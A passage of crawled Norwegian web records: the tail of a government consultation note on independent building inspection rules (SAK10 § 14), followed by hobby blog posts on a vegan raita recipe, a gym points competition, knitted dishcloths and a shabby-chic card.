tid til \u00e5 implementere nye regler, og det skal v\u00e6re p\u00e5 plass tilstrekkelig antall godkjente foretak. Det er utarbeidet en omfattende veiledning til kontrollreglene, og det gjennomf\u00f8res oppl\u00e6ringsprogrammer, b\u00e5de i regi av Statens bygningstekniske etat (BE) og de enkelte bransjeorganisasjoner. I tillegg er det igangsatt et arbeid med en norsk standard om gjennomf\u00f8ring av kontroll, NS 8450 *Kontroll av prosjektering og utf\u00f8relse av byggearbeider*. Standardiseringsarbeidet er for tiden satt p\u00e5 vent, men det er likevel viktig \u00e5 klargj\u00f8re forholdet mellom forskrift og standard(er) i forskrift.\n    \n    Endringsforslagene inneholder presisering av hva kravet til uavhengighet for kontrollforetak inneb\u00e6rer, samt en klargj\u00f8ring av forholdet mellom forskriften og Norsk Standard, dvs. at forskriftens krav anses oppfylt n\u00e5r standard for gjennomf\u00f8ring av kontroll f\u00f8lges. Det er ogs\u00e5 foresl\u00e5tt en presisering av hva kontrollen for v\u00e5trom og annen kontroll i tiltaksklasse 1 gjelder. Kravet om uavhengig kontroll av v\u00e5trom gjelder bare for s\u00f8knadspliktige v\u00e5tromsarbeidene. Det vises for \u00f8vrig til forskriftsforslag som ble sendt p\u00e5 h\u00f8ring 17. juni 2011, der ett av forslagene gikk ut p\u00e5 at godkjenningsomr\u00e5dene for kontroll i SAK10 \u00a7 13-5 nytt femte ledd skal samsvare med de omr\u00e5dene som er gjenstand for obligatorisk kontroll etter \u00a7 14-2, i stedet for at de skal ta utgangspunkt i de andre, generelle godkjenningsomr\u00e5dene for prosjektering og utf\u00f8relse. De nevnte forslagene er n\u00e5 vedtatt, og trer i kraft 1. januar 2012.\n    \n      \n    **\u00a7 14-1 Krav til uavhengighet for kontrollerende foretak**\n    \n    **Merknader til endring i \u00a7 14-1 andre ledd:  \n    **  \n    Det har v\u00e6rt en viss diskusjon om hva som ligger (og b\u00f8r ligge) i begrepet \"uavhengig\" n\u00e5r det gjelder kontrollforetak. I lovens \u00a7 23-7 heter det: \"Ansvarlig kontrollerende skal v\u00e6re uavhengig av det foretaket som utf\u00f8rer arbeidet som skal kontrolleres.\"\u00a0 Gjeldende SAK10 \u00a7 14-1 lyder:  \n    \"(1)Kontrollerende foretak skal v\u00e6re en annen juridisk enhet enn det foretaket som utf\u00f8rer arbeid som kontrolleres.  \n    (2) Kontrollerende foretak skal ikke ha personlig eller \u00f8konomisk tilknytning som kan p\u00e5virke kontrollen. Dette skal bekreftes i ansvarsrettss\u00f8knaden, og gjelder b\u00e5de i forhold til tiltakshaver og foretak som utf\u00f8rer arbeid som skal kontrolleres.\u00a0  \n    (3) Der det er tvil om tilknytningen kan p\u00e5virke kontrollen skal det beskrives i ansvarsrettss\u00f8knaden, og kommunen skal avgj\u00f8re om ansvarsrett kan gis. Kommunen skal avsl\u00e5 s\u00f8knaden om ansvarsrett dersom den finner at det er s\u00e5 sterk tilknytning at det kan p\u00e5virke kontrollen, eller at uavhengigheten p\u00e5 andre m\u00e5ter ikke er tilstrekkelig.\"  \n    \n    I Ot.prp. nr. 45 stilles det relativt strenge krav til uavhengighet, se side 151. Veiledningen til SAK10 \u00a7 14-1 er noe vagere. Det heter der: \"Krav til uavhengighet for kontrollforetak medf\u00f8rer at kontrollforetaket m\u00e5 v\u00e6re en annen juridisk enhet enn det foretaket som utf\u00f8rer arbeidet som kontrolleres. Det er imidlertid ingenting i veien for at et foretak kan ha sentral godkjenning b\u00e5de for kontroll og for prosjektering eller utf\u00f8relse. Foretaket kan ikke ha kontrollfunksjon i tiltak der det ogs\u00e5 har en av de \u00f8vrige funksjonene, og kontrollen omfatter arbeid som gj\u00f8res av foretaket under disse funksjonene. Dette f\u00f8lger av at egenkontroll ikke lenger eksisterer som selvstendig, alternativ kontrollform.\"\n    \n      \n    Det er n\u00f8dvendig \u00e5 avklare uavhengighetsbegrepet, fordi foretakene m\u00e5 vite hvordan de skal organisere seg, b\u00e5de som foretak og i det enkelte tiltak for \u00e5 kunne opptre uavhengig. Det er ogs\u00e5 viktig for kommunene \u00e5 ha klare rammer for deres vurdering av uavhengighet. Det har f. eks. v\u00e6rt sp\u00f8rsm\u00e5l om ett r\u00e5dgivnings/prosjekteringsfirma kan ha sentral godkjenning b\u00e5de som prosjekterende og kontrollerende, eller om det m\u00e5 v\u00e6re flere juridiske enheter. Det er ogs\u00e5 stilt sp\u00f8rsm\u00e5l om et prosjekteringsforetak (med godkjenning for kontroll) skal kunne kontrollere utf\u00f8relsen i det tiltaket de har prosjektert. Kommunal- og regionaldepartementet og Statens bygningstekniske etat har\u00a0 lagt til grunn at et r\u00e5dgivnings/prosjekteringsforetak b\u00e5de kan f\u00e5 godkjenning som kontrollerende uten \u00e5 opprette en egen juridisk enhet, og at et slikt foretak kan ha ansvar som kontrollerende for utf\u00f8relsen i det tiltaket det har prosjektert.\n    \n    Videre mener vi forholdet til tiltakshavers oppdrag til kontrollerende foretak m\u00e5 klargj\u00f8res. Tiltakshaver har kontraktsansvaret, og forholdet mellom tiltakshaver og kontrollerende er dermed noe annet enn forholdet mellom kontrollerende og de prosjekterende og utf\u00f8rende. I utkast til ny norsk standard NS 8450 *Kontroll av prosjektering og utf\u00f8relse av byggearbeider* opereres det med \"byggherrekontroll\" i tillegg til uavhengig kontroll. Byggherrekontroll er byggherrens kontroll med krav som ikke er lovp\u00e5lagt, og forutsetter at byggherren/tiltakshaveren engasjerer kontrollforetak av arbeid som ikke er obligatoriske kontrollomr\u00e5der etter SAK10 \u00a7 14-2 eller som er krevd av kommunen etter \u00a7 14-3. Det er naturlig \u00e5 se disse to kontrollene, uavhengig kontroll og byggherrekontroll i sammenheng.\n    \n      \n    Det m\u00e5 forutsettes at tiltakshaver har en egen interesse i at kontrollen foretas p\u00e5 en kvalifisert m\u00e5te, og det er lite hensiktsmessig at kontrollforetaket i \u00e9n sammenheng (privatrettslig) har et kontraktsmessig n\u00e6rt forhold til tiltakshaver, og i en annen sammenheng (offentligrettslig) skal v\u00e6re uavhengig. Det vil uansett v\u00e6re vanskelig \u00e5 dokumentere uavhengighet i forhold til tiltakshaver n\u00e5r det er denne som betaler. Det vil ogs\u00e5 v\u00e6re vanskelig \u00e5 forby rammeavtaler eller annen tilknytning mellom kontrollforetak og tiltakshaver. Det viktigste er uansett at kontrollforetaket er uavhengig i forhold til det arbeidet som utf\u00f8res.\n    \n      \n    Det foresl\u00e5s p\u00e5 denne bakgrunn at kravet om uavhengighet i forhold til tiltakshaver bortfaller. \u00a7 14-1 tredje ledd vil likevel gjelde, slik at dersom det er tvil om tilknytningen kan p\u00e5virke kontrollen, skal det beskrives i s\u00f8knaden, og kommunen har en avslagsmulighet. En slik beskrivelse vil v\u00e6re naturlig \u00e5 fremlegge, eller kommunen kan kreve det, n\u00e5r det f. eks. er bygg i egenregi, der tiltakshaver b\u00e5de er byggherre og prosjekterende og/eller utf\u00f8rende. Beskrivelsen m\u00e5 da gjelde hvilken rolle det spiller at tiltakshaver engasjerer kontrollforetak som skal kontrollere hans prosjektering og/eller utf\u00f8relse, mens selve tiltakshaverrollen tillegges ikke vekt med mindre den har betydning ift. rolleblanding.\n    \n    Forholdet mellom den ansvarlig kontrollerende og prosjekterende/utf\u00f8rende har ogs\u00e5 v\u00e6rt gjenstand for diskusjon. Ogs\u00e5 her er utgangspunktet at kontrollen skal v\u00e6re uavhengig av det arbeidet som gj\u00f8res. Rammeavtaler kan i utgangspunktet godtas, ogs\u00e5 at f. eks. et prosjekterings- eller entrepren\u00f8rfirma har datterselskap eller eierinteresser i selskap som driver med kontroll. Det vil derfor v\u00e6re adgang for et prosjekteringsfirma som ogs\u00e5 har tilstrekkelig godkjenning for kontroll til \u00e5 kontrollere utf\u00f8relse i samme tiltak. Det er eget arbeid i tiltaket foretaket er avsk\u00e5ret fra \u00e5 kontrollere. Ogs\u00e5 her vil man ha \u00a7 14-1 tredje ledd \u00e5 falle tilbake p\u00e5. Denne regelen vil kunne f\u00e5 betydning der f. eks. et prosjekterings- eller entrepren\u00f8rfirma tilbyr tiltakshaver et spesielt kontrollforetak dette firmaet har avtale med eller langvarig forhold til. Slike forhold trenger ikke \u00e5 ha noe \u00e5 si for uavhengigheten, det kan tvert i mot bety at kontrollfunksjonen er godt innarbeidet, men det b\u00f8r likevel gj\u00f8res oppmerksom p\u00e5 forholdet, og kommunen b\u00f8r kunne vurdere forholdet. Ved n\u00e6re \u00f8konomiske og andre relasjoner er det naturlig at kommunen avsl\u00e5r s\u00f8knad om ansvarsrett for kontroll.\n    \n    \u00a0  \n    Disse avgrensningene er gjort p\u00e5 bakgrunn av at det er vanskelig \u00e5 trekke noen mer n\u00f8yaktig grense for uavhengighet eller inhabilitet. Det vil derfor v\u00e6re et grenseland hvor uavhengigheten kan diskuteres, og i slike tilfeller vil det v\u00e6re aktuelt med en s\u00e6rskilt redegj\u00f8relse etter \u00a7 14-1 tredje ledd. Det viktige er at kontrollen skal gjennomf\u00f8res p\u00e5 en kvalifisert m\u00e5te, og i den vurderingen m\u00e5 kommunen bl.a. se hen til hvordan systemet for kontroll ser ut og er dokumentert i hht. \u00a7\u00a7 10-1 og 10-2.\n    \n      \n    Tilbaketrekking av kontrollansvar kan ogs\u00e5 v\u00e6re aktuelt. I den vurderingen m\u00e5 kommunen bl. a. vurdere om ansvarlig kontrollerendes ansvar er fulgt i hht. \u00a7 12-5, og at rutinene for gjennomf\u00f8ring av kontroll er fulgt i hht. \u00a7\u00a7 14-6 og 14-7, eventuelt at Norsk Standard er fulgt. Dersom det beg\u00e5s alvorlige overtredelser i kontrollen, kan konsekvensen v\u00e6re tilbaketrekking av sentral godkjenning, jf. \u00a7 13-6. Det skal likevel en del til for at tvil om uavhengighet skal f\u00f8re til tilbaketrekking n\u00e5r det f\u00f8rst er gitt ansvarsrett for kontroll, tilbaketrekking vil f\u00f8rst og fremst skje p\u00e5 grunn av feil i selve gjennomf\u00f8ringen av kontrollen.\n    \n      \n    **\u00a7 14-2 Obligatoriske krav om uavhengig kontroll og \u00a7 14-6 Gjennomf\u00f8ring av uavhengig kontroll etter \u00a7 14-2 f\u00f8rste ledd og annen uavhengig kontroll i tiltaksklasse 1**\n    \n    **Merknader til endringene i \u00a7 14-2 f\u00f8rste ledd 3. setning og \u00a7 14-6 andre ledd bokstav b):  \n    **  \n    Det fremg\u00e5r av gjeldende \u00a7 14-2 f\u00f8rste ledd at det skal kontrolleres at det er gjennomf\u00f8rt tilstrekkelig prosjektering, men det stilles ikke krav om at prosjekteringen som s\u00e5dan skal kontrolleres. \u00a7 14-6 stiller krav om at det skal kontrolleres at utf\u00f8relsen er gjennomf\u00f8rt i samsvar med produksjonsunderlaget. Det har v\u00e6rt grunnlag for misforst\u00e5elser at \u00a7 14-2 omhandler prosjektering, men ikke utf\u00f8relse, og at \u00a7 14-6 omhandler utf\u00f8relse, men ikke prosjektering. Det presiseres derfor n\u00e5 i begge bestemmelser at det skal kontrolleres at det foreligger tilstrekkelig prosjektering, og at utf\u00f8relsen skal kontrolleres. Innholdet i begge bestemmelser peker p\u00e5 at det er utf\u00f8relseskontrollen som skal fokuseres, mens kontrollen av prosjekteringen avgrenses til at den faktisk foreligger, og er tilstrekkelig.\n    \n    Departementet vil for \u00f8vrig p\u00e5peke at \u00a7 14-2 f\u00f8rste ledd m\u00e5 leses i sammenheng med  \n    \u00a7 14-6, p\u00e5 samme m\u00e5te som \u00a7 14-2 annet ledd m\u00e5 leses i sammenheng med \u00a7 14-7. Disse bestemmelsene m\u00e5 ogs\u00e5 leses i sammenheng med \u00a7 12-5 *Ansvarlig kontrollerendes ansvar*, \u00a7 12-6 *S\u00e6rskilte bestemmelser om ansvar*, og \u00a7 10-1 *System for oppfyllelse av plan- og bygningsloven. Krav til rutiner*.\n    \n    Forslagene er en presisering, og medf\u00f8rer ingen \u00f8vrige konsekvenser. Det gj\u00f8res for \u00f8vrig oppmerksom p\u00e5 at s\u00f8knadsplikten for tiltak i v\u00e5trom ble endret i forskriftsendring av 13. november 2011. I samme h\u00f8ringsforslag, med h\u00f8ringsfrist 20.09.11, ble \u00a7 14-2 f\u00f8rste ledd f\u00f8rste setning foresl\u00e5tt endret til: \"Det skal gjennomf\u00f8res kontroll i samsvar med \u00a7 14-5 av fuktsikring ved nybygging og ombygging av v\u00e5trom i alle boliger *der brannskiller brytes*, og med lufttetthet i nye boliger.\"\n    \n      \n    **\u00a7 14-2 Obligatoriske krav om uavhengig kontroll**\n    \n    **Merknader til endringen i \u00a7 14-2 annet ledd bokstav d):**  \n      \n    Det er kommet merknader fra r\u00e5dgivningsbransjen om at begrepet \"strategi\" i denne sammenheng kan virke forvirrende. Meningen med bestemmelsen er \u00e5 avgrense kontrollen til en bestemt fase i tiltaket, dvs. konseptfasen. Strategi utvikles normalt i denne fasen, men kan ogs\u00e5 v\u00e6re overgripende i flere faser. Begrepet brukt i denne sammenheng kan derfor v\u00e6re uklart. Departementet \u00f8nsker derfor \u00e5 presisere at poenget er at det skal f\u00f8res kontroll med den overordnede prosjekteringen som skjer tidlig, og at begrepet \"strategi\" derfor erstattes av \"konsept\".\n    \n    **Merknader til endringen i \u00a7 14-2 siste ledd:  \n    **  \n    Bestemmelsen i gjeldende \u00a7 14-2 siste ledd ble tatt inn for \u00e5 tydeliggj\u00f8re at man vil kunne oppfylle forskriftens krav til gjennomf\u00f8ring, jf. SAK10 \u00a7\u00a7 14-6 og 14-7, ved \u00e5 f\u00f8lge Norsk Standard. Slik gjeldende \u00a7 14-2 lyder, er det forutsatt at standardens krav til *utvidet kontroll* m\u00e5 v\u00e6re fulgt for at bruk av standarden skal kunne oppfylle forskriftens krav. Denne formuleringen ble tatt inn i forskriften p\u00e5 et tidlig stadium i standardiseringsarbeidet, mens man fortsatt brukte begrepet *utvidet kontroll*. Det er forel\u00f8pig ikke vedtatt noen standard om kontroll. Begrepet *utvidet kontroll* er imidlertid forlatt (og blir trolig erstattet med begrepet *byggherrekontroll*, som har et noe annet innhold). Det er derfor behov for \u00e5 justere ordlyden i \u00a7 14-2 siste ledd for \u00e5 unng\u00e5 spesialbegreper, og gi en generell regel om at der det finnes aktuelle standarder for kontroll vil det v\u00e6re tilstrekkelig til \u00e5 oppfylle forskriftens krav til gjennomf\u00f8ring at disse er fulgt. Dette vil ikke bare gjelde den planlagte Norsk Standard NS 8450 *Kontroll av prosjektering og utf\u00f8relse av byggearbeider*, men vil ogs\u00e5 gjelde tilsvarende norske og europeiske standarder.\n    \n    Standarden forutsettes \u00e5 angi en konsistent gjennomf\u00f8ring av kvalitetssikring og kontroll. Det vil derfor v\u00e6re tilstrekkelig \u00e5 kreve at standardens krav om kontroll/kvalitetssikring er gjennomf\u00f8rt for det aktuelle tiltaket. Standardene vil stort sett v\u00e6re utformet med normative tillegg (sjekklister) for de enkelte kontrollomr\u00e5der. Man vil da kunne bruke det aktuelle normative tillegget for vedkommende tiltak, der kontrollklasse (intensitet) er angitt for vedkommende fag-/kontrollomr\u00e5de, og tilpasse den uavhengige kontrollen til det. Det vil da v\u00e6re tilstrekkelig at den uavhengige kontrollen sjekker at standardens anvisninger for dette kontrollomr\u00e5det er fulgt. Sjekken av at standardens anvisninger er fulgt, vil deretter v\u00e6re grunnlag for videre oppf\u00f8lging fra ansvarlig kontrollerendes side, i hht. \u00a7\u00a7 12-5 og 12-6 (ansvarsreglene) og \u00a7\u00a7 14-6 og 14-7 (gjennomf\u00f8ring av kontroll), samt kontrollforetakets system for kontroll, jf. \u00a7\u00a7 10-1 og 10-2.\n    \n    Konsekvenser av forslagene: At kravene til uavhengighet presiseres til ikke \u00e5 gjelde forholdet til tiltakshaver, samtidig som det presiseres at uavhengigheten gjelder i forhold til det arbeidet som skal kontrolleres, vil gj\u00f8re det lettere for flere foretak \u00e5 arbeide med kontroll. Dette vil igjen trolig medf\u00f8re at flere foretak vil finne det hensiktsmessig \u00e5 s\u00f8ke om sentral godkjenning for kontroll. Forslaget vil samtidig kunne medf\u00f8re at flere kommuner finner det n\u00f8dvendig \u00e5 \u00f8ke innsatsen p\u00e5 tilsyn, noe som i og for seg anses \u00f8nskelig.\n    \n    Bestemmelsen om at forskriftens krav til gjennomf\u00f8ring av kontroll anses ivaretatt ved at Norsk Standard f\u00f8lges, vil f\u00f8rst og fremst ha betydning i de tiltak og for de kontrollomr\u00e5der der man velger \u00e5 f\u00f8lge standarden. Kvaliteten m\u00e5 imidlertid antas \u00e5 bli ivaretatt like godt enten man bruker standard eller veiledningen til forskriften. Noen st\u00f8rre forskjell i ressursbruk blir det neppe, men det kan kanskje v\u00e6re grunn til \u00e5 tro at det er de st\u00f8rste foretakene som vil velge \u00e5 bruke standarden for st\u00f8rre tiltak. For mindre tiltak har enkelte bransjeorganisasjoner gitt uttrykk for at veiledningen til forskrift sannsynligvis vil v\u00e6re mer hensiktsmessig.\n    \n      \n    **\u00a7 14-7\u00a0Gjennomf\u00f8ring av uavhengig kontroll i tiltaksklasse 2 og 3**\n    \n    **Merknader til endringene i \u00a7 14-7 tredje og fjerde ledd:  \n    **  \n    Betegnelsene \"ansvarlig kontrollerende for prosjekteringen\" og \"ansvarlig kontrollerende for utf\u00f8relsen\" er ikke lenger i bruk. Ansvarlige kontrollforetak f\u00e5r godkjenning og ansvarsrett etter hvilket kontrollomr\u00e5de de skal kontrollere, dette kan omfatte b\u00e5de prosjektering og utf\u00f8relse eller en av delene. Det blir derfor misvisende \u00e5 bruke de gamle betegnelsene.\n    \n    B\u00e5de i tredje og fjerde ledd i bestemmelsen er det overlapp mellom bokstav a) og b), mht. at rutinene er fulgt. Bokstav b) anses derfor un\u00f8dvendig i begge bestemmelsene. Det presiseres at det er rutinene og kravene som m\u00e5 v\u00e6re fulgt og dokumentert.  \n    Forslaget inneholder spr\u00e5klige presiseringer, og har ingen konsekvenser.\n    \n    \u00a0\n  - ## H\u00f8ringsinstanser\n    \n    **H\u00f8ringsinstanser - adressater if\u00f8lge liste**\n    \n", "language": "no", "__index_level_0__": "073b1c08-0a7e-42d4-9e22-0632f9fb95da"}
{"url": "http://kikertterroristen.blogspot.com/2011/09/vegansk-raita.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:42:05Z", "text": "## torsdag 22. september 2011\n\n### Vegansk raita\n\n  \n\n\nRaita er en indisk/pakistansk jogurtsaus. Den passer ypperlig som kontrast til sterk mat. Hvis du ikke har alle krydderne tilgjengelig, er det ikke s\u00e5 farlig om du legger til eller trekker fra noen smaker. De viktigste smakene kommer fra koriander, spisskummin, mynte og hvitl\u00f8k.\u00a0  \n\n   \n*3 dl soyajogurt naturell\u00a0*  \n*1 lite hvitl\u00f8ksfedd, finhakket\u00a0*  \n*1 krm salt\u00a0*  \n*1 ts fruktose\u00a0*  \n*1/4 ts hele korianderfr\u00f8\u00a0*  \n*1/2 ts gurkemeie\u00a0*  \n*1/4 ts bukkehornsfr\u00f8\u00a0*  \n*1/2 krm kajennepepper\u00a0*  \n*1/4 ts fenikkelfr\u00f8\u00a0*  \n*1/4 ts spisskummin\u00a0*  \n*1/4 ts sort pepper*  \n*1/2 anisfr\u00f8\u00a0*  \n*1/4 ts chili\u00a0*  \n*2 dl fersk mynte\u00a0*  \n*1 dl fersk koriander\u00a0*  \n*skvis av en sitron* \n\n\u00a0   \n\n1\\. Ha jogurten i en bolle.\u00a0  \n2\\. Ha alle krydderne i en morter, og st\u00f8t dem sammen.\u00a0  \n3\\. Bland inn krydderne i jogurten. Ha raitaen over i en lufttett beholder, og la den hvile i minst en halvtime f\u00f8r servering slik at smakene f\u00e5r satt seg.  \n\u00a0 \n\n*Raita er kjempegodt sammen med linsesuppe og nanbr\u00f8d.\u00a0* \n\n   \n\n\nKikertterroristen  kl. \n\n22.9.11           \n\n#### 8 kommentarer:\n\n1.  \n    \n    Anonym24. september 2011 kl. 02:21\n    \n    http://www.google.com/insights/search/\\#\n    \n2.  \n    \n    Kikertterroristen24. september 2011 kl. 14:47\n    \n    Takk for det, koselig \u00e5 h\u00f8re\\! Og hjertelig takk for tipset\\!\n    \n    Carita28. september 2011 kl. 23:10\n    \n    Er ikke sikker p\u00e5 om jeg har smakt dette f\u00f8r, men virker ganske fristende ut :)\n    \n4.  \n    \n    Kikertterroristen29. september 2011 kl. 15:52\n    \n    Jeg synes det er veldig godt, spesielt til indisk mat. Det er fort gjort \u00e5 lage raita\\!\n    \n5.  \n    \n    Adele17. oktober 2011 kl. 00:36\n    \n    Kult at du lagerkrydderblandingen selv\\! Jeg kj\u00f8per ferdigmiks fra Santa Maria hvilket bare er tull, n\u00e5r jeg har s\u00e5 og si alt i skapene fra f\u00f8r.\n    \n6.  \n    \n    Kikertterroristen17. oktober 2011 kl. 08:30\n    \n    Hehehe. Jeg er S\u00c5 glad for at jeg lager stort sett all mat fra skr\u00e6tsj (ned til hver minste lille krydderblanding\\! S\u00e5nn g\u00e5r det n\u00e5r man er uhelbredelig matnerd). Det er moro \u00e5 lage mat fra skr\u00e6tsj, og da vet man n\u00f8yaktig hva som befinner seg i maten. Dessuten er s\u00e5nne ferdigmikser ofte fulle av konserveringsmidler og tilsetningsstoffer og andre rare ting. Ogs\u00e5 smaker de skikkelig salt. Hurra for matlaging\\!\n    \n7.  \n    \n    Adele18. oktober 2011 kl. 16:06\n    \n    Veldig enig. Jeg ahr jo skapene fulle av nuturlige krydderier uansett. Og konserveringsmidler er noe drit.\n    \n8.  \n    \n    Kikertterroristen18. oktober 2011 kl. 16:15\n    \n    Naturlige krydderier er BEST\\!\n    \n## Velkommen til Kikertterroristens veganske matblogg\n\nI motsetning til hva bloggaliaset Kikertterroristen kan gi inntrykk av, s\u00e5 handler ikke veganisme om \u00e5 v\u00e6re verken fundamentalist, ekstremist, militant, fascist, raddis eller terrorist. Derimot henger valget om \u00e5 spise vegansk sammen med en enorm matglede. For meg handler veganisme om tre ting: det er positivt for milj\u00f8et, det er positivt for dyrene, og det er positivt for min egen helse.   \n\n    \n", "language": "no", "__index_level_0__": "b6308963-0fd6-433a-9bdf-351dd60e20f5"}
{"url": "http://hansfredrik.blogg.no/1485702650_pmeldt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:24:42Z", "text": "# Hans Fredrik\n\n28 \u013ar fra N\u0159tter\u0159y, samboer og en gutt p\u013a 3 \u013ar.Begynner \u013a blogge for \u013a dokumentere og se fremdriften ved deltakelse p\u013aen lokal konkurranse p\u013a trenings senteret.Konkurransen er ferdig i slutten av MaiDet er mulig jeg blogger om andre ting ogs\u013a :)\n\n## P\u013ameldt\\!\n\n# **Da var jeg endelig p\u013ameldt \\#Hyperactive2017 \\!**\n\n**Konkurransen begynner n\u013a til onsdag 1. Februar og planen er \u013a\u00a0g\u013a fult ut i \u013ar.**\n\n**Jeg har satt meg noen delm\u013al og releger som f.eks **\n\n**Sl\u013a fjord\u013arets poengsum som var p\u013a rett over 1150 poeng,**\n\n**Ingen \u00a0planer om \u013a gi meg etter 2.5 mnd fordi det ikke var noen flere premier etter 1000 poeng (n\u013a er det det).**\n\n**Minimum 100 poeng i uka(onsdag ti onsdag) (konkurransen varer i 17 uker s\u013a totalt poengsum oppn\u013aelig er \u00a0ca 2380**\n\n**Store planer om \u013a gi alt for \u013a vinne en av hovedpremiene. Disse skal gies mer info om. **\n\n**Revurdere strategien om hvordan jeg skal samle poeng samt trene effektivt og f\u013a resultater.**\n\n****\n\n**Jeg fikk ogs\u013a bestilt meg en time med\u00a0Kondisjons test og   \ntest av kropps-sammensetning som jeg skal ha tirsdag klokka 18:00 :)**\n\n****\n\n**Under er det noen bilder av hva jeg fikk**\n\n**P\u013ameldingen koster 300kr og innholdt 1 Sekk, 1 gympose, 2 kondisjons og test av kropps-sammensettning, 1 trenings bar og 1 drikke samt et 10 dagers pass til en venn og en oversikt over N\u0159tter\u0159y kulturhus sitt v\u013ar/h\u0159st program. Det s\u0159te rosa arket er hvor jeg skal skrive ned alle poengene mine.**\n\n****  \n\u00a0\n\n**Mitt lokale trenings senter er\u00a0http://activefamily.no/**\n\nHa en fin s\u0159ndag videre\\!**  \n  \n  \n### 6 kommentarer\n\n\n\n#### Anette Hauger\u0159d\n\n29.01.2017 kl.17:05\n\nDu er flink. Med ditt store konkurranseinstinkt klarer du dette.\n\n\n\n#### lisarorvik\n\n29.01.2017 kl.17:28\n\nS\u013a flink :) (Jeg har forresten ukens blogg konkurranse, bli gjerne med)\n\n\n\n#### Hans Fredrik\n\n30.01.2017 kl.20:01\n\nlisarorvik: Hei du, hyggelig du stakk innom og takk =)  \nHelt \u0107rlig f\u0159ler jeg meg litt for fersk til \u013a bli med p\u013a noe blogge konkurranse enda men jeg blir gjerne med i fremtiden om du har flere :D\n\n\n\n#### Miriam\n\n29.01.2017 kl.21:24\n\nS\u013a flink du er \ud83d\ude09 fin blogg \ud83d\udc97\n\n\n\n#### Kristin\n\n01.02.2017 kl.07:55\n\nDu er flink. St\u013a p\u013a\\!\n\n\n\n#### Hans Fredrik\n\n01.02.2017 kl.22:24\n\nKristin: Takk :)\n\n", "language": "no", "__index_level_0__": "2265c865-70c0-484f-a687-6fef2ba8acd6"}
{"url": "http://vrigmors.blogspot.com/2013/10/farver.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:07:45Z", "text": "Dame p\u00e5 53, glad i garn, farver, n\u00e5l og tr\u00e5d. Trivelig at du titter innom \\~ h\u00e5per \u00e5 gi litt inspirasjon \n\n## 31\\. oktober 2013\n\n### Farver......\n\n**En ting er sikkert, de beste bildene tar man ut i guds frie natur\\! Med andre ord; dagslys.**  \n\n**Men, n\u00e5r dagene plutselig blir kortere, s\u00e5 er det ikke alltid man er \"ferdig\" med h\u00e5ndarbeidet midt p\u00e5 dagen.**\n\n**Det har jeg nok et bevis p\u00e5, etter \u00e5 ha strikket med helt m\u00f8rk lilla, bomullsgarn.**\n\n**Se; det er mye mer bl\u00e5tt.**\n\n\n\n  \n**Liten x-tra ting i en julepakke**\n\n**\\~ vel og merke er mottakeren ikke p\u00e5 nett ;)**\n\n\n\n  \n**Her er garnet som er brukt i midtpartiet - rutene.**\n\n**Fra lys lilla til m\u00f8rk lilla, litt purpur, gr\u00f8nt & orange.**\n\n**Kj\u00f8pt hos Jens hoff p\u00e5 City Syd**\n\n  \n**\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\***\n\n**N\u00e5r jeg lager rundstrikkede kluter, bruker jeg mye Sport Bomull.**\n\n**Den f\u00e5r du kj\u00f8pt p\u00e5 flere butikker n\u00e5, bl.a Nille.**\n\n**Legger opp \u00a0ca 88 -90 masker - alt ettersom ev m\u00f8nster som skal passe.**\n\n**Bruker bli mellom 60 & 80 runder,**\n\n**da begynner gr.kluten bli rektangul\u00e6r.**\n\n**Hekler enkel kant rundt\u00a0+ hempe.**\n\n  \nRigmor S Volden             \n\n#### 2 kommentarer:\n\n1.  \n    \n    jeamomentsinlifefredag, november 01, 2013\n    \n    S\u00e5 fine\\! :)  \n      \n    \u00d8nsker deg en fin helg :)\n    \n2.  \n    \n    Garnhektal\u00f8rdag, november 02, 2013\n    \n    Fine kluter med et morsomt garn.\n    \n## Duk\n\n  \n\n    \n\n## Hjernen hviler aldri \\~ n\u00e5r vi sover, danser fantasien, er vel da vi dr\u00f8mmer om farver :)\n\n  \n\n## Kluter\n\n  \nG\u00f8y \u00e5 lage m\u00f8nster selv\n\n## Strikket i Falk\n\n## Laget etter m\u00f8nster fra et tysk blad\n\n  \n\n## Meditativt...\n\nTenk; Einstein strikket ogs\u00e5, for \u00e5 klarne hjernen :)\n\nHa en fin & kreativ dag\n\n  \n\n", "language": "no", "__index_level_0__": "ce80ff64-0e96-4427-a01c-663fae0fac78"}
{"url": "http://filharmonicasverden.blogspot.com/2015/02/bla-symfoni.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:17:19Z", "text": "\n\n## onsdag 18. februar 2015\n\n### Bl\u00e5 symfoni\n\nGod morgen alle sammen\\!\n\nI dag blogger jeg for Maja Design og jeg har laget et bl\u00e5tt shabby chic kort.\n\n  \n\n\n  \nJeg har brukt papir fra Maja Design sin kolleksjon \"Vintage Autumn Basic\", rufset de i kanten og p\u00e5f\u00f8rt litt hvit Gesso.\n\n  \n\n\n  \nNettingen som ligger bak blomstene er en bit av en plastisk-netting som man f\u00e5r p\u00e5 bl.a. Vinmonopolet for \u00e5 trekke utenp\u00e5 flasker slik at de ikke skal knuse under transport. Jeg har malt den lys gr\u00e5 slik at den ikke skulle bli for fremtredende.\n\n  \n\n\n  \nJeg har pyntet kortet med papir- og silkeblomster i gr\u00e5tt, bl\u00e5tt og hvitt, perleb\u00e5nd og blonder.\n\n  \n\n\n  \nJeg leverer kortet til f\u00f8lgende utfordringer:\n\n#### 11 kommentarer:\n\n\n\n\n\nAnne Bente sa...\n\nwawwww s\u00e5 super flot \u2665  \n  \n10000 tak for at du deltager p\u00e5 Card and scraps udfordring.  \n  \nknuzzzz \u2665\n\n 18. februar 2015 kl. 09:01    \n\n\n\n\n\nArnhilds Kreative hender sa...\n\nNydelig kort 